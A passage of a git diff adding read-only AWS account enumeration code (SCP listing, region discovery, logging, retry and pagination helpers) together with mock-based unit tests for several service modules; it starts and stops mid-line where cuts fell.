= err.name || err.Code || ''; + if ( + code === 'AccessDeniedException' || + code === 'AWSOrganizationsNotInUseException' || + code === 'AccessDenied' + ) { + logger.log('info', 'Organizations not accessible', { error: code }); + status = 'partial'; + } else { + logger.log('error', 'DescribeOrganization unexpected error', { error: err.message }); + status = 'partial'; + } + } + + // --- Step 3: SCP enumeration (only if org is accessible) --- + if (orgAccessible) { + try { + logger.log('api_call', 'ListPolicies', { service: 'organizations', filter: 'SERVICE_CONTROL_POLICY' }); + const policies = await paginate(orgsClient, ListPoliciesCommand, 'Policies', { + params: { Filter: 'SERVICE_CONTROL_POLICY' }, + }); + + for (const policySummary of policies) { + try { + // Get full policy document + logger.log('api_call', 'DescribePolicy', { service: 'organizations', policy_id: policySummary.Id }); + const policyResp = await withRetry(() => + orgsClient.send(new DescribePolicyCommand({ PolicyId: policySummary.Id })) + ); + const policy = policyResp.Policy; + + // Get targets for this policy + logger.log('api_call', 'ListTargetsForPolicy', { service: 'organizations', policy_id: policySummary.Id }); + const targets = await paginate(orgsClient, ListTargetsForPolicyCommand, 'Targets', { + params: { PolicyId: policySummary.Id }, + }); + + // Parse policy document JSON + let policyDocument = {}; + try { + policyDocument = JSON.parse(policy.PolicySummary ? policy.Content : policy.Content); + } catch (parseErr) { + policyDocument = { raw: policy.Content }; + } + + findings.push({ + resource_type: 'sts_scp', + resource_id: policySummary.Id, + arn: policySummary.Arn, + region: 'global', + name: policySummary.Name, + description: policySummary.Description || '', + policy_document: policyDocument, + targets: targets.map((t) => ({ + target_id: t.TargetId, + type: t.Type, + name: t.Name, + })), + findings: [], + }); + } catch (scpErr) { + logger.log('error', 'SCP enumeration failed for policy', { + policy_id: policySummary.Id, + error: scpErr.message, + }); + status = 'partial'; + } + } + } catch (err) { + logger.log('error', 'ListPolicies failed', { error: err.message }); + status = 'partial'; + } + } + + logger.log('info', 'STS_Enumeration_Complete', { findings_count: findings.length, status }); + await logger.flush(); + + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'sts', run, global: true }); +} +module.exports = { run }; diff --git a/scripts/lib/base-enum.js b/scripts/lib/base-enum.js new file mode 100644 index 0000000..b2b5b81 --- /dev/null +++ b/scripts/lib/base-enum.js @@ -0,0 +1,113 @@ +'use strict'; + +const { STSClient, GetCallerIdentityCommand } = require('@aws-sdk/client-sts'); +const { createEnvelope, writeEnvelope } = require('./envelope'); +const { createLogger } = require('./logger'); + +/** + * Parses standard CLI arguments for enum scripts. + * Accepts: --run-dir , --account-id , --region [,region2,...] + */ +function parseArgs(argv) { + const args = { runDir: null, accountId: null, region: null }; + for (let i = 2; i < argv.length; i++) { + if (argv[i] === '--run-dir' && argv[i + 1]) args.runDir = argv[++i]; + else if (argv[i] === '--account-id' && argv[i + 1]) args.accountId = argv[++i]; + else if (argv[i] === '--region' && argv[i + 1]) args.region = argv[++i]; + } + return args; +} + +/** + * Shared entry point for all enum scripts. + * Handles CLI parsing, account ID resolution, multi-region iteration, + * logger creation, and envelope writing. + * + * @param {Object} config + * @param {string} config.module - Module name (e.g., 's3', 'ec2') + * @param {Function} config.run - async ({ runDir, region, accountId, logger, clients }) => { findings, status } + * @param {boolean} [config.global=false] - If true, script is global (no --region required) + */ +function baseEnum({ module, run, global = false }) { + async function main() { + const args = parseArgs(process.argv); + + if (!args.runDir) { + console.error(`Error: --run-dir is required`); + console.error(`Usage: node scripts/enum/${module}.js --run-dir --account-id [--region [,r2,...]]`); + process.exit(1); + } + if (!global && !args.region) { + console.error(`Error: --region is required for ${module}`); + console.error(`Usage: node scripts/enum/${module}.js --run-dir --account-id --region [,r2,...]`); + process.exit(1); + } + + // Resolve account ID: from CLI arg or STS fallback + let accountId = args.accountId; + if (!accountId) { + try { + const stsClient = new STSClient({}); + const identity = await stsClient.send(new GetCallerIdentityCommand({})); + accountId = identity.Account; + } catch (err) { + console.error(`GetCallerIdentity failed: ${err.message}`); + process.exit(1); + } + } + + const logger = createLogger(args.runDir, module); + + try { + if (global || !args.region.includes(',')) { + // Single region or global + const region = global ? 'global' : args.region.trim(); + const result = await run({ runDir: args.runDir, region, accountId, logger }); + const envelope = createEnvelope({ + module, + account_id: accountId, + region, + status: result.status || 'complete', + findings: result.findings || [], + }); + writeEnvelope(args.runDir, envelope); + await logger.flush(); + const count = (result.findings || []).length; + console.log(`${module} enumeration complete: ${args.runDir}/${module}.json (${count} findings, status: ${result.status || 'complete'})`); + } else { + // Multi-region + const regions = args.region.split(',').map(r => r.trim()); + const allFindings = []; + let hasErrors = false; + for (const region of regions) { + try { + const result = await run({ runDir: args.runDir, region, accountId, logger }); + if (Array.isArray(result.findings)) allFindings.push(...result.findings); + if (result.status === 'partial' || result.status === 'error') hasErrors = true; + } catch (err) { + logger.log('error', `${module}_region_error`, { region, error: err.message }); + hasErrors = true; + } + } + const envelope = createEnvelope({ + module, + account_id: accountId, + region: 'multi', + status: hasErrors ? 'partial' : 'complete', + findings: allFindings, + }); + writeEnvelope(args.runDir, envelope); + await logger.flush(); + console.log(`${module} enumeration complete: ${args.runDir}/${module}.json (${allFindings.length} findings across ${regions.length} regions)`); + } + process.exit(0); + } catch (err) { + console.error(`Fatal error in ${module}: ${err.message}`); + process.exit(1); + } + } + + main(); +} + +module.exports = { baseEnum, parseArgs }; diff --git a/scripts/lib/discover-regions.js b/scripts/lib/discover-regions.js new file mode 100644 index 0000000..384ee63 --- /dev/null +++ b/scripts/lib/discover-regions.js @@ -0,0 +1,45 @@ +'use strict'; + +const { AccountClient, ListRegionsCommand } = require('@aws-sdk/client-account'); + +const FALLBACK_REGIONS = [ + 'us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', + 'eu-west-1', 'eu-west-2', 'eu-west-3', 'eu-central-1', 'eu-north-1', + 'ap-southeast-1', 'ap-southeast-2', 'ap-northeast-1', 'ap-northeast-2', + 'ap-northeast-3', 'ap-south-1', 'sa-east-1', 'ca-central-1', +]; + +/** + * Discovers enabled AWS regions using the Account API (ListRegions). + * Uses a different API surface than regions.js (EC2 DescribeRegions) — + * do NOT import or call getEnabledRegions() from this module. + * + * @param {import('@aws-sdk/client-account').AccountClient} [client] - Optional injected AccountClient for testing + * @returns {Promise} Sorted array of enabled region name strings + */ +async function discoverEnabledRegions(client) { + const accountClient = client ?? new AccountClient({}); + const resp = await accountClient.send( + new ListRegionsCommand({ RegionOptStatusContains: ['ENABLED', 'ENABLED_BY_DEFAULT'] }) + ); + return (resp.Regions || []).map((r) => r.RegionName).sort(); +} + +async function main() { + try { + const regions = await discoverEnabledRegions(); + process.stdout.write(JSON.stringify(regions) + '\n'); + } catch (err) { + const code = err.name || err.Code || ''; + if (code === 'AccessDeniedException' || code === 'AccessDenied') { + process.stderr.write('[WARN] account:ListRegions denied — using 17-region default fallback. Opt-in regions will not be scanned.\n'); + } else { + process.stderr.write(`[WARN] discover-regions failed (${err.message}) — using 17-region default fallback.\n`); + } + process.stdout.write(JSON.stringify(FALLBACK_REGIONS) + '\n'); + } +} + +if (require.main === module) { main(); } + +module.exports = { discoverEnabledRegions, FALLBACK_REGIONS }; diff --git a/scripts/lib/envelope.js b/scripts/lib/envelope.js new file mode 100644 index 0000000..58dfa2f --- /dev/null +++ b/scripts/lib/envelope.js @@ -0,0 +1,81 @@ +'use strict'; + +const fs = require('fs'); +const path = require('path'); + +const REQUIRED_FIELDS = ['module', 'account_id', 'region', 'status']; +const VALID_STATUSES = new Set(['complete', 'partial', 'error']); + +/** + * Creates a standard module envelope for enum output. + * + * @param {Object} params + * @param {string} params.module - Module name (e.g., 'iam', 's3', 'bedrock') + * @param {string} params.account_id - AWS account ID + * @param {string} params.region - AWS region + * @param {string} params.status - One of: 'complete', 'partial', 'error' + * @param {Array} [params.findings=[]] - Array of finding objects + * @returns {Object} The envelope object with timestamp added + */ +function createEnvelope({ module, account_id, region, status, findings = [] }) { + // Validate required fields + const missing = REQUIRED_FIELDS.filter((f) => { + const val = { module, account_id, region, status }[f]; + return !val || typeof val !== 'string'; + }); + if (missing.length > 0) { + throw new Error(`Envelope missing required fields: ${missing.join(', ')}`); + } + + if (!VALID_STATUSES.has(status)) { + throw new Error(`Invalid status "${status}". Must be one of: ${[...VALID_STATUSES].join(', ')}`); + } + + if (!Array.isArray(findings)) { + throw new Error('findings must be an array'); + } + + return { + module, + account_id, + region, + status, + timestamp: new Date().toISOString(), + findings, + }; +} + +/** + * Writes an envelope to the run directory as {module}.json. + * + * @param {string} runDir - Path to the run directory + * @param {Object} envelope - The envelope object (from createEnvelope) + * @returns {string} The file path written + */ +function writeEnvelope(runDir, envelope) { + if (!runDir || typeof runDir !== 'string') { + throw new Error('runDir is required'); + } + if (!envelope || !envelope.module) { + throw new Error('envelope with module field is required'); + } + + const filePath = path.join(runDir, `${envelope.module}.json`); + fs.mkdirSync(runDir, { recursive: true }); + fs.writeFileSync(filePath, JSON.stringify(envelope, null, 2) + '\n', 'utf8'); + return filePath; +} + +/** + * Safely converts a Date to ISO string. Returns null if the date is invalid or missing. + * Protects against Invalid Date objects that throw on toISOString(). + */ +function safeISOString(d) { + try { + return d?.toISOString() ?? null; + } catch { + return null; + } +} + +module.exports = { createEnvelope, writeEnvelope, safeISOString }; diff --git a/scripts/lib/index.js b/scripts/lib/index.js new file mode 100644 index 0000000..c247d67 --- /dev/null +++ b/scripts/lib/index.js @@ -0,0 +1,9 @@ +'use strict'; + +module.exports = { + ...require('./retry'), + ...require('./envelope'), + ...require('./logger'), + ...require('./policy-parser'), + ...require('./base-enum'), +}; diff --git a/scripts/lib/logger.js b/scripts/lib/logger.js new file mode 100644 index 0000000..d205e8b --- /dev/null +++ b/scripts/lib/logger.js @@ -0,0 +1,71 @@ +'use strict'; + +const fs = require('fs'); +const path = require('path'); + +/** + * Creates a structured JSONL logger that writes to $RUN_DIR/agent-log.jsonl. + * + * @param {string} runDir - Path to the run directory + * @param {string} [moduleName] - Optional module name for log records + * @returns {Object} Logger instance with log() and flush() methods + */ +function createLogger(runDir, moduleName) { + if (!runDir || typeof runDir !== 'string') { + throw new Error('runDir is required for logger'); + } + + const logPath = path.join(runDir, 'agent-log.jsonl'); + let stream = null; + + function ensureStream() { + if (!stream) { + fs.mkdirSync(runDir, { recursive: true }); + stream = fs.createWriteStream(logPath, { flags: 'a', encoding: 'utf8' }); + } + return stream; + } + + /** + * Appends a structured log record. + * + * @param {string} type - Record type (e.g., 'api_call', 'error', 'info') + * @param {string} action - Action description (e.g., 'ListUsers', 'DescribeBuckets') + * @param {Object} [details={}] - Additional details + */ + function log(type, action, details = {}) { + const record = { + timestamp: new Date().toISOString(), + type, + module: moduleName || null, + action, + details, + }; + ensureStream().write(JSON.stringify(record) + '\n'); + } + + /** + * Ensures all buffered writes are flushed to disk. + * + * @returns {Promise} + */ + function flush() { + return new Promise((resolve, reject) => { + if (!stream) { + resolve(); + return; + } + stream.end((err) => { + if (err) reject(err); + else { + stream = null; + resolve(); + } + }); + }); + } + + return { log, flush }; +} + +module.exports = { createLogger }; diff --git a/scripts/lib/policy-parser.js b/scripts/lib/policy-parser.js new file mode 100644 index 0000000..ddefe4d --- /dev/null +++ b/scripts/lib/policy-parser.js @@ -0,0 +1,40 @@ +'use strict'; + +/** + * Extracts unique principals from an AWS resource policy JSON string. + * Handles Principal as string ("*"), object ({ AWS: [...], Service: [...], Federated: [...] }), + * or array. Only extracts from Allow statements. + * + * @param {string} policyJson - JSON string of the resource policy + * @returns {string[]} Array of unique principal identifiers + */ +function extractPolicyPrincipals(policyJson) { + if (!policyJson) return []; + try { + const doc = typeof policyJson === 'string' ? JSON.parse(policyJson) : policyJson; + const statements = Array.isArray(doc.Statement) ? doc.Statement : []; + const principals = new Set(); + + for (const stmt of statements) { + if (stmt.Effect !== 'Allow') continue; + const principal = stmt.Principal; + if (!principal) continue; + + if (typeof principal === 'string') { + principals.add(principal); + } else if (typeof principal === 'object') { + for (const key of ['AWS', 'Service', 'Federated']) { + const val = principal[key]; + if (!val) continue; + if (typeof val === 'string') principals.add(val); + else if (Array.isArray(val)) val.forEach((v) => principals.add(v)); + } + } + } + return [...principals]; + } catch { + return []; + } +} + +module.exports = { extractPolicyPrincipals }; diff --git a/scripts/lib/retry.js b/scripts/lib/retry.js new file mode 100644 index 0000000..28a816d --- /dev/null +++ b/scripts/lib/retry.js @@ -0,0 +1,98 @@ +'use strict'; + +const THROTTLE_CODES = new Set([ + 'ThrottlingException', + 'TooManyRequestsException', + 'Throttling', + 'RequestLimitExceeded', + 'BandwidthLimitExceeded', +]); + +/** + * Wraps an async function with exponential backoff retry on AWS throttling errors. + * + * @param {Function} fn - Async function to call (receives no arguments; use a closure) + * @param {Object} [opts] + * @param {number} [opts.maxRetries=3] - Maximum retry attempts + * @param {number} [opts.baseDelayMs=1000] - Base delay in ms (doubled each retry) + * @param {AbortSignal} [opts.signal] - Optional abort signal + * @returns {Promise<*>} Result of fn() + */ +async function withRetry(fn, opts = {}) { + const maxRetries = opts.maxRetries ?? 3; + const baseDelayMs = opts.baseDelayMs ?? 1000; + + for (let attempt = 0; attempt <= maxRetries; attempt++) { + if (opts.signal?.aborted) { + throw new Error('Operation aborted'); + } + try { + return await fn(); + } catch (err) { + const code = err.name || err.Code || err.__type || ''; + const httpStatus = err.$metadata?.httpStatusCode; + const isThrottle = THROTTLE_CODES.has(code) || httpStatus === 429 || httpStatus === 503; + if (!isThrottle || attempt >= maxRetries) { + throw err; + } + const delay = baseDelayMs * Math.pow(2, attempt); + await new Promise((resolve) => setTimeout(resolve, delay)); + } + } +} + +/** + * Paginates an AWS SDK v3 command, collecting all items across pages. + * + * Uses the standard NextToken / Marker pagination patterns in AWS SDK v3. + * The caller provides a key to extract from each response (e.g., 'Users', 'Buckets'). + * + * @param {Object} client - AWS SDK v3 client instance + * @param {Function} CommandClass - The Command constructor (e.g., ListUsersCommand) + * @param {string} paginationKey - Response key containing items (e.g., 'Users') + * @param {Object} [opts] + * @param {Object} [opts.params={}] - Additional params for the command + * @param {string} [opts.tokenKey='NextToken'] - Request token field name + * @param {string} [opts.responseTokenKey] - Response token field name (defaults to tokenKey) + * @param {number} [opts.maxRetries=3] - Retry config passed to withRetry + * @param {AbortSignal} [opts.signal] - Optional abort signal + * @returns {Promise} All collected items across all pages + */ +async function paginate(client, CommandClass, paginationKey, opts = {}) { + const params = { ...opts.params }; + const tokenKey = opts.tokenKey || 'NextToken'; + const responseTokenKey = opts.responseTokenKey || tokenKey; + const retryOpts = { maxRetries: opts.maxRetries ?? 3, signal: opts.signal }; + + const allItems = []; + let nextToken = undefined; + + do { + if (nextToken) { + params[tokenKey] = nextToken; + } + + const response = await withRetry( + () => client.send(new CommandClass(params)), + retryOpts + ); + + const items = response[paginationKey]; + if (Array.isArray(items)) { + allItems.push(...items); + } + + nextToken = response[responseTokenKey]; + // Some APIs use 'Marker' for request but 'NextMarker' for response + if (!nextToken && response.NextMarker) { + nextToken = response.NextMarker; + } + if (!nextToken && response.IsTruncated && response.Marker) { + nextToken = response.Marker; + } + } while (nextToken); + + return allItems; +} + +module.exports = { withRetry, paginate }; diff --git a/test/enum-apigateway.test.js b/test/enum-apigateway.test.js new file mode 100644 index 0000000..d6c37c0 --- /dev/null +++ b/test/enum-apigateway.test.js @@ -0,0 +1,79 @@ +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +const { run } = require('../scripts/enum/apigateway'); +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'apigateway'); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) { + return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + } + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0; +let failed = 0; + +async function runTests() { + const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); + const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + + // --- Test: basic scenario --- + try { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-test-apigateway-')); + + // REST API Gateway client responses + const mockApigateway = makeMockClient({ + GetRestApisCommand: apiResponses['GetRestApisCommand'], + GetAuthorizersCommand: apiResponses['GetAuthorizersCommand'], + GetStagesCommand: apiResponses['GetStagesCommand'], + GetResourcesCommand: apiResponses['GetResourcesCommand'], + }); + + // HTTP/WebSocket API Gateway v2 client responses + const mockApigatewayV2 = makeMockClient({ + GetApisCommand: apiResponses['GetApisCommand'], + GetAuthorizersCommand: apiResponses['GetAuthorizersV2Command'], + GetStagesCommand: apiResponses['GetStagesV2Command'], + GetIntegrationsCommand: apiResponses['GetIntegrationsCommand'], + }); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: '123456789012', + clients: { apigateway: mockApigateway, apigatewayV2: mockApigatewayV2 }, + }); + + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: apigateway basic scenario'); + passed++; + fs.rmSync(tmpDir, { recursive: true }); + } catch (err) { + console.error(' FAIL: apigateway basic scenario'); + console.error(` ${err.message}`); + failed++; + } + + console.log(`\n${passed + failed} tests: ${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +} + +runTests().catch(err => { + console.error(`Fatal: ${err.message}`); + process.exit(1); +}); diff --git a/test/enum-bedrock.test.js b/test/enum-bedrock.test.js new file mode 100644 index 0000000..b04b7dc --- /dev/null +++ b/test/enum-bedrock.test.js @@ -0,0 +1,80 @@ +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +const { run } = require('../scripts/enum/bedrock'); +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'bedrock'); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) { + return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + } + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0; +let failed = 0; + +async function runTests() { + const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); + const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + + // --- Test: basic scenario --- + try { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-test-bedrock-')); + + // BedrockClient mock + const mockBedrock = makeMockClient({ + ListFoundationModelsCommand: apiResponses['ListFoundationModelsCommand'], + ListCustomModelsCommand: apiResponses['ListCustomModelsCommand'], + ListGuardrailsCommand: apiResponses['ListGuardrailsCommand'], + GetModelInvocationLoggingConfigurationCommand: apiResponses['GetModelInvocationLoggingConfigurationCommand'], + ListProvisionedModelThroughputsCommand: apiResponses['ListProvisionedModelThroughputsCommand'], + }); + + // BedrockAgentClient mock + const mockBedrockAgent = makeMockClient({ + ListAgentsCommand: apiResponses['ListAgentsCommand'], + GetAgentCommand: apiResponses['GetAgentCommand'], + ListKnowledgeBasesCommand: apiResponses['ListKnowledgeBasesCommand'], + GetKnowledgeBaseCommand: apiResponses['GetKnowledgeBaseCommand'], + }); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: 'unknown', + clients: { bedrock: mockBedrock, bedrockAgent: mockBedrockAgent }, + }); + + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: bedrock basic scenario'); + passed++; + fs.rmSync(tmpDir, { recursive: true }); + } catch (err) { + console.error(' FAIL: bedrock basic scenario'); + console.error(` ${err.message}`); + failed++; + } + + console.log(`\n${passed + failed} tests: ${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +} + +runTests().catch(err => { + console.error(`Fatal: ${err.message}`); + process.exit(1); +}); diff --git a/test/enum-codebuild.test.js b/test/enum-codebuild.test.js new file mode 100644 index 0000000..a78de4d --- /dev/null +++ b/test/enum-codebuild.test.js @@ -0,0 +1,64 @@ +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +const { run } = require('../scripts/enum/codebuild'); + +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'codebuild'); +const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); +const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) { + return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + } + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0, failed = 0; + +async function runTests() { + // --- Test: codebuild basic scenario --- + try { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-test-codebuild-')); + + const mockCodebuild = makeMockClient(apiResponses); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: '123456789012', + clients: { codebuild: mockCodebuild } + }); + + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: codebuild basic scenario'); + passed++; + fs.rmSync(tmpDir, { recursive: true }); + } catch (err) { + console.error(' FAIL: codebuild basic scenario'); + console.error(` ${err.message}`); + failed++; + } + + console.log(`\n${passed + failed} tests: ${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +} + +runTests().catch(err => { + console.error(`Fatal: ${err.message}`); + process.exit(1); +}); diff --git a/test/enum-cognito.test.js b/test/enum-cognito.test.js new file mode 100644 index 0000000..b5e38e1 --- /dev/null +++ b/test/enum-cognito.test.js @@ -0,0 +1,77 @@ +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +const { run } = require('../scripts/enum/cognito'); +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'cognito'); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) { + return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + } + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0; +let failed = 0; + +async function runTests() { + const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); + const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + + // --- Test: basic scenario --- + try { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-test-cognito-')); + + // CognitoIdentityClient mock + const mockCognitoIdentity = makeMockClient({ + ListIdentityPoolsCommand: apiResponses['ListIdentityPoolsCommand'], + DescribeIdentityPoolCommand: apiResponses['DescribeIdentityPoolCommand'], + }); + + // CognitoIdentityProviderClient mock + const mockCognitoIdp = makeMockClient({ + ListUserPoolsCommand: apiResponses['ListUserPoolsCommand'], + DescribeUserPoolCommand: apiResponses['DescribeUserPoolCommand'], + ListUserPoolClientsCommand: apiResponses['ListUserPoolClientsCommand'], + DescribeUserPoolClientCommand: apiResponses['DescribeUserPoolClientCommand'], + }); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: 'unknown', + clients: { cognitoIdentity: mockCognitoIdentity, cognitoIdp: mockCognitoIdp }, + }); + + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: cognito basic scenario'); + passed++; + fs.rmSync(tmpDir, { recursive: true }); + } catch (err) { + console.error(' FAIL: cognito basic scenario'); + console.error(` ${err.message}`); + failed++; + } + + console.log(`\n${passed + failed} tests: ${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +} + +runTests().catch(err => { + console.error(`Fatal: ${err.message}`); + process.exit(1); +}); diff --git a/test/enum-dynamodb.test.js b/test/enum-dynamodb.test.js new file mode 100644 index 0000000..e560d10 --- /dev/null +++ b/test/enum-dynamodb.test.js @@ -0,0 +1,71 @@ +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +const { run } = require('../scripts/enum/dynamodb'); +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'dynamodb'); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) { + return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + } + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0; +let failed = 0; + +async function runTests() { + const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); + const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + + // --- Test: basic scenario --- + try { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-test-dynamodb-')); + + const mockDynamo = makeMockClient({ + ListTablesCommand: apiResponses['ListTablesCommand'], + DescribeTableCommand: apiResponses['DescribeTableCommand'], + DescribeContinuousBackupsCommand: apiResponses['DescribeContinuousBackupsCommand'], + ListBackupsCommand: apiResponses['ListBackupsCommand'], + GetResourcePolicyCommand: apiResponses['GetResourcePolicyCommand'], + }); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: '123456789012', + clients: { dynamodb: mockDynamo }, + }); + + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: dynamodb basic scenario'); + passed++; + fs.rmSync(tmpDir, { recursive: true }); + } catch (err) { + console.error(' FAIL: dynamodb basic scenario'); + console.error(` ${err.message}`); + failed++; + } + + console.log(`\n${passed + failed} tests: ${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +} + +runTests().catch(err => { + console.error(`Fatal: ${err.message}`); + process.exit(1); +}); diff --git a/test/enum-ec2.test.js b/test/enum-ec2.test.js new file mode 100644 index 0000000..ac45b1d --- /dev/null +++ b/test/enum-ec2.test.js @@ -0,0 +1,75 @@ +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +const { run } = require('../scripts/enum/ec2'); + +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'ec2'); +const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); +const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) { + return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + } + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0, failed = 0; + +async function runTests() { + // --- Test: ec2 basic scenario --- + try { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-test-ec2-')); + + const mockEc2 = makeMockClient(apiResponses); + // elbv2 and elb both use DescribeLoadBalancersCommand — return empty list + const mockElbv2 = makeMockClient({ + DescribeLoadBalancersCommand: apiResponses.DescribeLoadBalancersCommand + }); + const mockElb = makeMockClient({ + DescribeLoadBalancersCommand: apiResponses.DescribeLoadBalancersCommand + }); + + const result = await run({ + runDir: tmpDir, + region: 'us-east-1', + accountId: '123456789012', + clients: { + ec2: mockEc2, + elbv2: mockElbv2, + elb: mockElb + } + }); + + assert.strictEqual(result.status, expected.status); + assert.deepStrictEqual(result.findings, expected.findings); + console.log(' PASS: ec2 basic scenario'); + passed++; + fs.rmSync(tmpDir, { recursive: true }); + } catch (err) { + console.error(' FAIL: ec2 basic scenario'); + console.error(` ${err.message}`); + failed++; + } + + console.log(`\n${passed + failed} tests: ${passed} passed, ${failed} failed`); + process.exit(failed > 0 ? 1 : 0); +} + +runTests().catch(err => { + console.error(`Fatal: ${err.message}`); + process.exit(1); +}); diff --git a/test/enum-iam.test.js b/test/enum-iam.test.js new file mode 100644 index 0000000..e26e978 --- /dev/null +++ b/test/enum-iam.test.js @@ -0,0 +1,52 @@ +'use strict'; +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +const { run } = require('../scripts/enum/iam'); +const FIXTURES = path.join(__dirname, 'fixtures', 'enum', 'iam'); +const apiResponses = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'api-responses.json'), 'utf-8')); +const expected = JSON.parse(fs.readFileSync(path.join(FIXTURES, 'expected.json'), 'utf-8')); + +function makeMockClient(responses) { + const callCounts = {}; + return { + send(command) { + const name = command.constructor.name; + callCounts[name] = (callCounts[name] || 0) + 1; + const val = responses[name]; + if (Array.isArray(val)) { + return Promise.resolve(val[callCounts[name] - 1] ?? val[val.length - 1]); + } + if (val !== undefined) return Promise.resolve(val); + return Promise.reject(new Error(`Unexpected command: ${name}`)); + } + }; +} + +let passed = 0; +let failed = 0; + +async function runTests() { + // Test: basic IAM scenario + try { + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'scope-test-iam-')); + const mockIam = makeMockClient(apiResponses); + const result = await run({ runDir: tmpDir, accountId: '123456789012', 